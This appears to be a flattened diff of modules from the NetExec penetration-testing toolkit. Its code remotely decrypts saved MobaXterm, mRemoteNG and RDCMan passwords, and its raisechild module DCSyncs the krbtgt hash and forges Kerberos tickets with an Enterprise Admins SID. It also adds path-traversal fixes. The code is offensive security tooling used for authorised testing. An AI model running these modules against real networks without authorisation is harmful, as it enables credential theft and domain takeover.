for line in GptTmpl.splitlines():
match = re.match(r"^\s*SeMachineAccountPrivilege\s*=(.*)$", line.lstrip("\ufeff"))
if match:
value = match.group(1).strip()
break
else:
context.log.debug(f"SeMachineAccountPrivilege not in {path}")
continue
enforced_str = ", Enforced" if link["enforced"] else ""
context.log.success(f'(GPO) "{gpo_name}" [DN: {link["scope_dn"]}] [Link order: {link["link_order"]}{enforced_str}]')
context.log.info(f"\t{line.strip()}")
if not value:
context.log.highlight("SeMachineAccountPrivilege explicitly assigned to nobody")
continue
principals = [principal.strip() for principal in value.split(",") if principal.strip()]
for principal in principals:
match = re.fullmatch(r"\*?(S-\d+(?:-\d+)+)", principal)
if not match:
context.log.highlight(f'\t\t - "{principal}"')
continue
sid = match.group(1)
if sid in WELL_KNOWN_SIDS:
context.log.highlight(f'\t\t - "{WELL_KNOWN_SIDS[sid]}" ({sid})')
continue
resp = connection.search(searchFilter=f"(objectSid={sid})", attributes=["sAMAccountName"])
entries = parse_result_attributes(resp)
if entries and entries[0].get("sAMAccountName"):
context.log.highlight(f'\t\t - "{entries[0]["sAMAccountName"]}" ({sid})')
else:
context.log.highlight(f"\t\t - {sid} (unresolved)")
finally:
smb.logoff()
def get_gpo_links(self, context, connection):
ou_dn = f"OU=Domain Controllers,{connection.baseDN}"
gpo_links = []
block_inheritance = False
for scope_dn in (ou_dn, connection.baseDN):
ldap_response = connection.search(searchFilter=f"(distinguishedName={scope_dn})", baseDN=scope_dn, attributes=["gPLink", "gPOptions"])
entries = parse_result_attributes(ldap_response)
if not entries:
context.log.fail(f"Unable to read GPO links for {scope_dn}")
return []
if scope_dn == ou_dn:
block_inheritance = bool(int(entries[0].get("gPOptions") or 0) & 0x1)
for link in self.parse_gplink(entries[0].get("gPLink") or ""):
if link["disabled"]:
context.log.debug(f'GPO link {link["guid"]} disabled, skipping')
continue
if scope_dn == connection.baseDN and block_inheritance and not link["enforced"]:
context.log.debug(f'GPO link {link["guid"]} blocked by inheritance, skipping')
continue
link["scope_dn"] = scope_dn
# Enforced domain, enforced OU, normal OU, then normal domain links.
link["priority"] = (0 if scope_dn == connection.baseDN else 1) if link["enforced"] else (2 if scope_dn == ou_dn else 3)
gpo_links.append(link)
return sorted(gpo_links, key=lambda link: (link["priority"], link["link_order"]))
def resolve_gpo(self, connection, guid):
resp = connection.search(baseDN=f"CN=Policies,CN=System,{connection.baseDN}", searchFilter=f"(&(objectClass=groupPolicyContainer)(name={{{guid}}}))", attributes=["displayName", "name"])
results = parse_result_attributes(resp)
if not results:
return ""
return results[0].get("displayName") or results[0].get("name") or ""
def parse_gplink(self, gplink):
raw_entries = re.findall(r"(?i)\[LDAP://cn=\{([0-9a-f\-]{36})\}[^;\]]*;(\d+)\]", gplink)
parsed = []
# Number every link, including disabled links (last listed = order 1).
for link_order, (guid, flags_str) in enumerate(reversed(raw_entries), 1):
flags = int(flags_str)
parsed.append({"guid": guid, "flags": flags, "disabled": bool(flags & 0x1), "enforced": bool(flags & 0x2), "link_order": link_order})
return parsed
+7 -35
View File
@@ -1,62 +1,34 @@
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
from dploot.lib.target import Target
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
name = "mobaxterm"
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
supported_protocols = ["smb"]
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""No options available"""
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
self.pvkbytes = get_domain_backup_key(connection)
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
def mobaxterm_callback(credential):
if isinstance(credential, MobaXtermCredential):
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
log_text = f"{credential.name} - {credential.username}:{credential.password.decode('latin-1')}"
elif isinstance(credential, MobaXtermPassword):
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
context.log.highlight(f"[{credential.winuser}] {log_text}")
log_text = f"{credential.username}:{credential.password.decode('latin-1')}"
connection.dpapi_triage.log_secret(f"[{credential.winuser}] {log_text}", logger=context.log)
try:
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
context.log.success("Looting MobaXterm secrets")
triage = MobaXtermTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_secret_callback=mobaxterm_callback)
triage.triage_mobaxterm()
except Exception as e:
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
+12 -52
View File
@@ -1,12 +1,10 @@
import ntpath
from dploot.lib.target import Target
from Cryptodome.Cipher import AES
from lxml import objectify
from base64 import b64decode
import hashlib
from dataclasses import dataclass
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
@dataclass
@@ -25,7 +23,7 @@ class NXCModule:
name = "mremoteng"
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
supported_protocols = ["smb"]
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self, context=None, module_options=None):
@@ -42,6 +40,7 @@ class NXCModule:
self.mRemoteNg_path = [
"Users\\{username}\\AppData\\Local\\mRemoteNG",
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
"Users\\{username}\\AppData\\Roaming\\mRemoteNG Connection Manager",
]
self.custom_user_path = [
@@ -68,70 +67,31 @@ class NXCModule:
self.custom_path = module_options["CUSTOM_PATH"]
def on_admin_login(self, context, connection):
# 1. Evole conn into dploot conn
self.context = context
self.connection = connection
self.share = connection.args.share
self.share = connection.args.share if hasattr(connection.args, "share") else "C$"
self.dploot_conn = connection.dpapi_triage.conn
host = f"{connection.hostname}.{connection.domain}"
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
users = self.dploot_conn.list_users()
target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
use_kcache=use_kcache,
)
dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if dploot_conn is None:
context.log.debug("Could not upgrade connection")
return
# 2. Dump users list
users = self.get_users(dploot_conn)
# 3. Search for mRemoteNG files
# Search for mRemoteNG files
for user in users:
for path in self.mRemoteNg_path:
user_path = ntpath.join(path.format(username=user), "confCons.xml")
content = dploot_conn.readFile(self.share, user_path)
content = self.dploot_conn.read_file(share=self.share, path=user_path)
if content is None:
continue
self.context.log.info(f"Found confCons.xml file: {user_path}")
self.handle_confCons_file(content)
for path in self.custom_user_path:
user_path = path.format(username=user)
self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
self.dig_confCons_in_files(conn=self.dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
if self.custom_path is not None:
content = dploot_conn.readFile(self.share, self.custom_path)
content = self.dploot_conn.read_file(share=self.share, path=self.custom_path)
if content is not None:
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
self.handle_confCons_file(content)
def get_users(self, conn):
users = []
users_dir_path = "Users\\*"
directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
for d in directories:
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
users.append(d.get_longname()) # ruff: ignore[manual-list-comprehension], ignoring for readability
return users
def handle_confCons_file(self, file_content):
main = objectify.fromstring(file_content)
encryption_attributes = MRemoteNgEncryptionAttributes(
@@ -152,7 +112,7 @@ class NXCModule:
protocol = node_attribute["Protocol"]
port = node_attribute["Port"]
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
self.connection.dpapi_triage.log_secret(f"{name}:{host} - {domain}\\{username}:{password}", self.context.log)
def parse_xml_nodes(self, main):
nodes = []
@@ -166,7 +126,7 @@ class NXCModule:
return nodes
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
directory_list = conn.remote_list_dir(self.share, directory_path)
directory_list = conn.list_dir(share=self.share, path=directory_path)
if directory_list is not None:
for item in directory_list:
if item.get_longname() not in self.false_positive:
@@ -178,7 +138,7 @@ class NXCModule:
# It's a file, download it to the output share if the mask is ok
if "confCons.xml" in item.get_longname():
self.context.log.info(f"Found confCons.xml file: {new_path}")
content = conn.readFile(self.context.share, new_path)
content = conn.read_file(share=self.share, path=new_path)
self.handle_confCons_file(content)
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
+3 -2
View File
@@ -4,6 +4,7 @@ import os
from pathlib import Path
import re
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
@@ -139,8 +140,8 @@ class NXCModule:
context.log.fail(f"Regex scan failed for {db_name}.{table_name}: {e}")
if self.save and all_results:
filename = f"{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.json"
file_path = Path(f"{NXC_PATH}/modules/mssql-dumper/{filename}").resolve()
filename = sanitize_path_component(f"{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.json")
file_path = (Path(NXC_PATH) / "modules" / "mssql-dumper" / filename).resolve()
os.makedirs(file_path.parent, exist_ok=True)
with open(file_path, "w") as f:
json.dump(all_results, f, indent=2)
+2 -1
View File
@@ -10,6 +10,7 @@ import tempfile
from datetime import datetime
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
@@ -158,7 +159,7 @@ class NXCModule:
return
else:
self.context.log.display(f"Copying {nano_log_name} to host")
filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log")
filename = os.path.join(self.dir_result, sanitize_path_component(f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log"))
if self.context.protocol == "smb":
with open(filename, "wb+") as dump_file:
try:
+8 -3
View File
@@ -1,7 +1,9 @@
from io import BytesIO
from os import makedirs
from os.path import join, abspath
from os.path import join
from pathlib import Path
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
@@ -36,9 +38,12 @@ class NXCModule:
context.log.highlight(f"C:\\{file_path}")
for line in file_content.splitlines():
context.log.highlight(f"\t{line}")
filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt"
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt")
export_path = join(NXC_PATH, "modules", "notepad++")
path = abspath(join(export_path, filename))
path = Path(export_path, filename).resolve()
if Path(export_path).resolve() not in path.parents:
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
continue
makedirs(export_path, exist_ok=True)
try:
with open(path, "w+") as file:
+9 -4
View File
@@ -1,9 +1,11 @@
from io import BytesIO
from os import makedirs
from os.path import join, abspath
from os.path import join
from pathlib import Path
import re
import time
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
from impacket.smbconnection import SessionError
@@ -37,7 +39,7 @@ class NXCModule:
self.FILE_PATH_REGEX = r"^[A-Za-z]:\\(?:[^<>:\"/\\|?*]+\\)*[^<>:\"/\\|?*]+\.[\w]{1,5}$"
def options(self, context, module_options):
"""KILL // Kill for notepad.exe process. Default False."""
"""KILL Kill for notepad.exe process. Default: False"""
if "KILL" not in module_options:
self.kill = False
else:
@@ -161,9 +163,12 @@ class NXCModule:
content_lines.append(string) # Store the string value only
# Save to file
filename = f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt"
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt")
export_path = join(NXC_PATH, "modules", "notepad")
path = abspath(join(export_path, filename))
path = Path(export_path, filename).resolve()
if Path(export_path).resolve() not in path.parents:
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
continue
makedirs(export_path, exist_ok=True)
with open(path, "w+") as output_file:
+2 -2
View File
@@ -519,10 +519,10 @@ class NXCModule:
parsed_header = self.parse_MFT_header(curr_sector[Offset_to_the_first_attribute:])
if "$FILE_NAME" in parsed_header:
filename_lenght = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1])
filename_length = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1])
curr_MFA_sector.parent_record_number = self.bytes_to_int_unsigned(parsed_header["$FILE_NAME"][0x18: 0x18 + 3] + b"\x00")
curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_lenght * 2)].decode("utf-16")
curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_length * 2)].decode("utf-16")
if "$DATA" in parsed_header:
dataRun_offset = self.bytes_to_int_signed(parsed_header["$DATA"][0x20: 0x20 + 1])
+3 -1
View File
@@ -1,7 +1,9 @@
#!/usr/bin/env python3
from datetime import datetime, timedelta
from os.path import join
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
import socket
@@ -71,7 +73,7 @@ class NXCModule:
if answers:
obsolete_hosts_count = len(answers)
filename = f"{NXC_PATH}/logs/{connection.domain}.obsoletehosts.txt"
filename = join(NXC_PATH, "logs", sanitize_path_component(f"{connection.domain}.obsoletehosts.txt"))
context.log.display(f"{obsolete_hosts_count} Obsolete hosts will be saved to {filename}")
with open(filename, "w") as f:
for dns_hostname, ip_address, os, pwd_last_set_readable in answers:
+8 -3
View File
@@ -1,6 +1,8 @@
from os import makedirs
from os.path import join, abspath
from os.path import join
from pathlib import Path
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
from io import BytesIO
@@ -46,9 +48,12 @@ class NXCModule:
for line in file_content.splitlines():
context.log.highlight(f"\t{line}")
if self.export:
filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt"
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_powershell_history.txt")
export_path = join(NXC_PATH, "modules", "powershell_history")
path = abspath(join(export_path, filename))
path = Path(export_path, filename).resolve()
if Path(export_path).resolve() not in path.parents:
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
continue
makedirs(export_path, exist_ok=True)
try:
with open(path, "w+") as file:
+7 -2
View File
@@ -1,9 +1,11 @@
import os
from pathlib import Path
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5.ccache import CCache
from impacket.krb5.types import Principal
from impacket.krb5 import constants
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.paths import NXC_PATH
@@ -54,7 +56,7 @@ class NXCModule:
context.log.debug(f"Added computer: {computer['sAMAccountName']}")
# Save computers to file
domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain)
domain_dir = os.path.join(NXC_PATH, "modules", "pre2k", sanitize_path_component(connection.domain))
output_file_pre2k = os.path.join(domain_dir, "precreated_computers.txt")
output_file_non_pre2k = os.path.join(domain_dir, "non_precreated_computers.txt")
@@ -137,7 +139,10 @@ class NXCModule:
try:
ccache = CCache()
ccache.fromTGT(ticket, sessionKey, sessionKey)
ccache_filename = os.path.join(ccache_base_dir, f"{username}.ccache")
ccache_filename = Path(ccache_base_dir, sanitize_path_component(f"{username}.ccache")).resolve()
if Path(ccache_base_dir).resolve() not in ccache_filename.parents:
context.log.fail(f"Path traversal detected in ticket filename for {username!r}, skipping")
return
ccache.saveFile(ccache_filename)
context.log.info(f"Saved ticket in {ccache_filename}")
except Exception as e:
+47 -5
View File
@@ -1,4 +1,5 @@
import re
from types import SimpleNamespace
from impacket.dcerpc.v5 import samr, tsch
from impacket.dcerpc.v5 import tsts as TSTS
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
@@ -20,11 +21,46 @@ class NXCModule:
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""There are no module options."""
"""
ALTUSER Alternative domain user to enumerate admin groups with
ALTPASS Password for ALTUSER
ALTDOMAIN Domain FQDN of the alternative credentials
ALTDC DC IP
When alternative credentials are supplied, Domain and Enterprise Admins are enumerated over SAMR against the DC using those credentials, rather than the local administrator session (which cannot enumerate these groups).
"""
self.altuser = module_options.get("ALTUSER")
self.altpass = module_options.get("ALTPASS")
self.altdomain = module_options.get("ALTDOMAIN")
self.altdc = module_options.get("ALTDC")
alt_creds = [self.altuser, self.altpass, self.altdomain]
if any(alt_creds) and not all(alt_creds):
context.log.fail("ALTUSER, ALTPASS, and ALTDOMAIN must be specified together")
return False
def on_admin_login(self, context, connection):
try:
admin_users = self.enumerate_admin_users(context, connection)
if self.altuser and self.altpass and self.altdomain:
context.log.info(f"Using alternative domain credentials: {self.altdomain}\\{self.altuser}")
alt_connection = SimpleNamespace(
username=self.altuser,
password=self.altpass,
domain=self.altdomain,
lmhash="",
nthash="",
aesKey=None,
kerberos=False,
kdcHost=self.altdc,
conn=None,
host=self.altdc,
remoteName=self.altdc,
port=445,
)
admin_users = self.enumerate_admin_users(context, alt_connection)
else:
admin_users = self.enumerate_admin_users(context, connection)
if not admin_users:
context.log.fail("No admin users found.")
return
@@ -148,12 +184,18 @@ class NXCModule:
context.log.debug(f"Enumerated {len(processes)} processes on {connection.host}")
for process in processes:
context.log.debug(f"ImageName: {process['ImageName']}, UniqueProcessId: {process['SessionId']}, pSid: {process['pSid']}")
info = process.getProcessInfo()
image_name = info["ImageName"].getValue()
pid = info["UniqueProcessId"]
session_id = info["SessionId"]
psid = process.getSid()
context.log.debug(f"ImageName: {image_name}, UniqueProcessId: {pid}, SessionId: {session_id}, pSid: {psid}")
# Check if process SID matches any admin user SID
for user in admin_users:
if process["pSid"] == user["sid"]:
if psid == user["sid"]:
user["in_tasks"] = True
context.log.info(f"Matched process {process['ImageName']} with user {user['username']}")
context.log.info(f"Matched process {image_name} with user {user['username']}")
def check_scheduled_tasks(self, context, connection, admin_users):
"""Checks scheduled tasks over rpc."""
+6 -1
View File
@@ -6,8 +6,10 @@ from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from os import makedirs
from pathlib import Path
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
import re
@@ -160,7 +162,10 @@ class NXCModule:
makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True)
share = session["private_key_path"].split(":")[0] + "$"
file_path = session["private_key_path"].split(":")[1]
download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec"
download_path = Path(NXC_PATH, "modules", "PuTTY", sanitize_path_component(f"putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec")).resolve()
if Path(NXC_PATH, "modules", "PuTTY").resolve() not in download_path.parents:
self.context.log.fail(f"Path traversal detected in PuTTY session {session['session_name']!r}, skipping")
continue
buf = BytesIO()
with open(download_path, "wb") as file:
+10 -34
View File
@@ -2,7 +2,6 @@ import os
import datetime
import re
from contextlib import suppress
from impacket.smbconnection import SMBConnection
from impacket.examples.secretsdump import RemoteOperations, NTDSHashes
from impacket.dcerpc.v5.drsuapi import DCERPCSessionError
from calendar import timegm
@@ -20,6 +19,7 @@ from impacket.dcerpc.v5.samr import GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GRO
from impacket.dcerpc.v5.dtypes import SID, RPC_SID, NULL
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.helpers.misc import CATEGORY
from nxc.helpers.smb import get_smb_connection
# Encryption type configurations: enctype, checksum, signature size, session key size
ETYPE_CONFIG = {
@@ -49,7 +49,7 @@ class NXCModule:
self.krbtgt_hash = ""
self.aes128_key = ""
self.aes256_key = ""
self.etype = "rc4"
self.etype = "aes256"
def options(self, context, module_options):
"""
@@ -59,7 +59,7 @@ class NXCModule:
USER Target username to forge the ticket for (default: Administrator)
USER_ID RID used as the user ID in the PAC (default: 500)
RID RID used for the extra SID (default: 519 = Enterprise Admins)
ETYPE Encryption type for the ticket: rc4, aes128, aes256 (default: rc4)
ETYPE Encryption type for the ticket: rc4, aes128, aes256 (default: aes256)
Examples:
netexec ldap <ip> -u <username> -p <password> -M raisechild -o USER=DC01$
@@ -69,7 +69,7 @@ class NXCModule:
"""
self.context = context
self.module_options = module_options
self.etype = module_options.get("ETYPE", "rc4").lower()
self.etype = module_options.get("ETYPE", "aes256").lower()
def on_admin_login(self, context, connection):
self.context = context
@@ -133,32 +133,6 @@ class NXCModule:
else:
self.context.log.fail("Could not retrieve child domain SID from connection.")
def _get_smb_session(self, ldap_conn):
smb = SMBConnection(
remoteName=ldap_conn.hostname,
remoteHost=ldap_conn.host,
sess_port=445,
)
if ldap_conn.kerberos:
smb.kerberosLogin(
user=ldap_conn.username,
password=ldap_conn.password,
domain=ldap_conn.domain,
lmhash=ldap_conn.lmhash,
nthash=ldap_conn.nthash,
aesKey=ldap_conn.aesKey,
kdcHost=ldap_conn.kdcHost,
useCache=ldap_conn.use_kcache,
)
elif ldap_conn.nthash or ldap_conn.lmhash:
# NTLM pass-the-hash
smb.login(ldap_conn.username, "", ldap_conn.domain, lmhash=ldap_conn.lmhash, nthash=ldap_conn.nthash)
else:
# NTLM with cleartext password
smb.login(ldap_conn.username, ldap_conn.password, ldap_conn.domain)
return smb
def _get_domain_netbios(self, ldap_conn):
resp = ldap_conn.search(
baseDN=f"CN=Partitions,{ldap_conn.configuration_context}",
@@ -225,11 +199,13 @@ class NXCModule:
def get_krbtgt_hash(self, connection):
try:
smb_conn = self._get_smb_session(connection)
self._dcsync_krbtgt(smb_conn, connection)
smb_conn = get_smb_connection(self.context, connection)
except Exception as e:
self.context.log.fail(f"Error during DCSync: {e}")
return
if not smb_conn:
return
self._dcsync_krbtgt(smb_conn, connection)
if (self.etype == "rc4" and self.krbtgt_hash) or (self.etype == "aes128" and self.aes128_key) or (self.etype == "aes256" and self.aes256_key):
try:
@@ -300,7 +276,7 @@ class NXCModule:
def _createBasicValidationInfo(self, username: str, domain: str, domain_sid: str, groups: list[int], user_rid: int) -> VALIDATION_INFO:
kerbdata = KERB_VALIDATION_INFO()
now_utc = datetime.datetime.now(datetime.timezone.utc)
now_utc = datetime.datetime.now(datetime.UTC)
now_unix = timegm(now_utc.timetuple())
now_filetime = self._getFileTime(now_unix)
@@ -451,7 +427,7 @@ class NXCModule:
pac_infos[PAC_LOGON_INFO] = validation_info.getData() + validation_info.getDataReferents()
def _buildEncParts(self, as_rep: AS_REP, domain: str, username: str, duration_hours: int, enctype_value: int, pac_infos: dict, key_size: int) -> tuple[EncASRepPart, EncTicketPart, dict]:
now_utc = datetime.datetime.now(datetime.timezone.utc)
now_utc = datetime.datetime.now(datetime.UTC)
end_utc = now_utc + datetime.timedelta(hours=duration_hours)
enc_ticket_part = EncTicketPart()
+2 -2
View File
@@ -1,5 +1,5 @@
import base64
from Crypto.Cipher import AES
from Cryptodome.Cipher import AES
from io import BytesIO
from nxc.helpers.misc import CATEGORY
@@ -83,6 +83,6 @@ class NXCModule:
return crypter.decrypt(buf).decode("utf-8")
def base64_urlsafedecode(self, string):
padding = 4 - (len(string) % 4)
padding = (4 - len(string) % 4) % 4
string += "=" * padding
return base64.urlsafe_b64decode(string)
+6 -33
View File
@@ -1,55 +1,28 @@
from dploot.triage.rdg import RDGTriage, RDGServerProfile
from dploot.lib.target import Target
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
name = "rdcman"
description = "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials"
supported_protocols = ["smb"]
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
""" """
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
self.pvkbytes = get_domain_backup_key(connection)
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting RDCMan secrets")
context.log.success("Looting RDCMan secrets")
try:
triage = RDGTriage(target=target, conn=conn, masterkeys=self.masterkeys)
triage = RDGTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys)
rdcman_files, rdgfiles = triage.triage_rdcman()
for rdcman_file in rdcman_files:
if rdcman_file is None:
@@ -58,7 +31,7 @@ class NXCModule:
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
if isinstance(rdg_cred, RDGServerProfile):
log_text = f"{rdg_cred.server_name} - {log_text}"
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log)
for rdgfile in rdgfiles:
if rdgfile is None:
continue
@@ -66,6 +39,6 @@ class NXCModule:
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
if isinstance(rdg_cred, RDGServerProfile):
log_text = f"{rdg_cred.server_name} - {log_text}"
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log)
except Exception as e:
context.log.debug(f"Could not loot RDCMan secrets: {e}")
+14 -3
View File
@@ -1,6 +1,6 @@
from sys import exit
from nxc.connection import dcom_FirewallChecker
from nxc.helpers.rpc import dcom_FirewallChecker
from nxc.helpers.misc import CATEGORY
from impacket.dcerpc.v5 import rrp
@@ -101,7 +101,8 @@ class NXCModule:
context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
else:
context.log.fail(str(e))
wmi_rdp._RdpWmi__dcom.disconnect()
if wmi_rdp._RdpWmi__dcom is not None:
wmi_rdp._RdpWmi__dcom.disconnect()
class RdpSmb:
@@ -222,7 +223,16 @@ class RdpWmi:
self.__aesKey = connection.aesKey
self.__timeout = timeout
self.__dcom = None
if self.__currentprotocol == "wmi":
# The wmi protocol already holds an authenticated IWbemLevel1Login:
# reuse it instead of creating a second DCOMConnection to the same
# target (whose disconnect would clash with the protocol's own)
self.__iWbemLevel1Login = connection.iWbemLevel1Login
return
try:
*_, tgt, _ = connection.conn.getCredentials()
self.__dcom = DCOMConnection(
self.__target,
self.__username,
@@ -235,11 +245,12 @@ class RdpWmi:
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost,
remoteHost=self.__remoteHost,
TGT=tgt,
)
i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
if self.__currentprotocol == "smb":
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout)
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout, self.logger)
if not flag or not self.__stringBinding:
error_msg = f'RDP-WMI: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the module option "DCOM-TIMEOUT=10". If it\'s still failing maybe something is blocking the RPC connection, please try to use "-o" with "METHOD=smb"'
+144
View File
@@ -0,0 +1,144 @@
import binascii
import contextlib
from impacket import ntlm
from impacket.smb3 import SMB2SessionSetup, SMB2SessionSetup_Response
from impacket.smb3structs import SMB2_SESSION_SETUP
from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech
